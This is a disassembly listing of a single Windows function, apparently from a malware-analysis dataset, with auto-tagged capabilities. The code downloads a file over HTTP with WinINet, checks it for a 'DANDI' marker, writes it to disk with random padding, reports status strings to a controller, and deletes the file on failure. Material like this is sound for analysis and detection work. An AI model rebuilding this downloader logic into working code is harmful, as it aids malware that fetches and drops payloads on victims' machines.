Function at 0x405a90
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x40957a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x428
push ebx
push ebp
push esi
push edi
mov ebp, ecx
lea eax, [esp + 0x448]
xor edi, edi
push eax
lea ecx, [esp + 0x28]
mov dword [esp + 0x444], edi
call sub.MFC42.DLL_CString::CString_2
push 0x40dc48
lea ecx, [esp + 0x18]
mov byte [esp + 0x444], 1
call sub.MFC42.DLL_CString::CString_1
push edi
push edi
push edi
mov bl, 2
push edi
push str.FptD
mov byte [esp + 0x454], bl
mov byte [esp + 0x27], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
lea ecx, [ebp + 0x98]
lea edx, [esp + 0x28]
push ecx
push str.http:__
push edx
mov esi, eax
call sub.MFC42.DLL_operator
push 0x40d524
push eax
lea eax, [esp + 0x3c]
mov byte [esp + 0x448], 3
push eax
call sub.MFC42.DLL_operator_2
lea ecx, [esp + 0x448]
lea edx, [esp + 0x18]
push ecx
push eax
push edx
mov byte [esp + 0x44c], 4
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x444], 5
call fcn.004085f0
lea ecx, [esp + 0x18]
mov byte [esp + 0x440], 4
call fcn.004084dc
lea ecx, [esp + 0x34]
mov byte [esp + 0x440], 3
call fcn.004084dc
lea ecx, [esp + 0x28]
mov byte [esp + 0x440], bl
call fcn.004084dc
mov eax, dword [esp + 0x24]
push edi
push 0x80000000
push 0xffffffffffffffff
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
jne 0x405bdf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x1c], eax
jne 0x405d7a
lea ecx, [esp + 0x30]
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
mov dword [esp + 0x3c], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x405d7a
mov al, byte [esp + 0x44c]
test al, al
je 0x405bfd
lea ecx, [esp + 0x448]
push ecx
lea ecx, [esp + 0x18]
call fcn.004085f0
jmp 0x405c33
lea edx, [esp + 0x448]
lea eax, [esp + 0x28]
push edx
push eax
mov ecx, ebp
call fcn.00405e10
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x444], 6
call fcn.004085f0
lea ecx, [esp + 0x28]
mov byte [esp + 0x440], bl
call fcn.004084dc
mov ecx, dword [esp + 0x14]
push edi
push 0x80
push 1
push edi
push edi
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x405c63
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x1c], eax
jmp 0x405d7a
lea edx, [esp + 0x20]
lea eax, [esp + 0x38]
push edx
push 5
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405d6b
lea ecx, [esp + 0x38]
push str.DANDI
push ecx
mov byte [esp + 0x45], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405d41
lea edx, [esp + 0x20]
lea eax, [esp + 0x38]
push edx
push 0x400
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405cf1
mov eax, dword [esp + 0x20]
test eax, eax
je 0x405cf1
lea ecx, [esp + 0x2c]
push 0
push ecx
lea edx, [esp + 0x40]
push eax
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x38]
add edi, eax
lea eax, [esp + 0x20]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405cb5
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, 0x8000000f
jns 0x405d06
dec esi
or esi, 0xfffffff0
inc esi
lea edx, [ebp + 0xb0]
lea ecx, [esp + 0x18]
push edx
inc esi
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x2c]
push 0
push eax
push esi
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp edi, 0x4e20
lea ecx, [esp + 0x18]
setg byte [esp + 0x13]
call fcn.004084dc
jmp 0x405d6b
mov eax, dword [ebp + 0xb0]
lea edx, [esp + 0x38]
push edx
push eax
push str.uid:_s_dvf__s_
push 0x40dc40
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, ebp
push 0x40dc40
call fcn.00405510
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x13]
test al, al
jne 0x405db4
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov eax, dword [ebp + 0xb0]
push ecx
push edx
push eax
push str.uid:_s_dnlff___s__del__d_
push 0x40dc40
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, ebp
push 0x40dc40
call fcn.00405510
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 1
call fcn.004084dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x440], 0
call fcn.004084dc
lea ecx, [esp + 0x448]
mov dword [esp + 0x440], 0xffffffff
call fcn.004084dc
mov ecx, dword [esp + 0x438]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x434
ret 8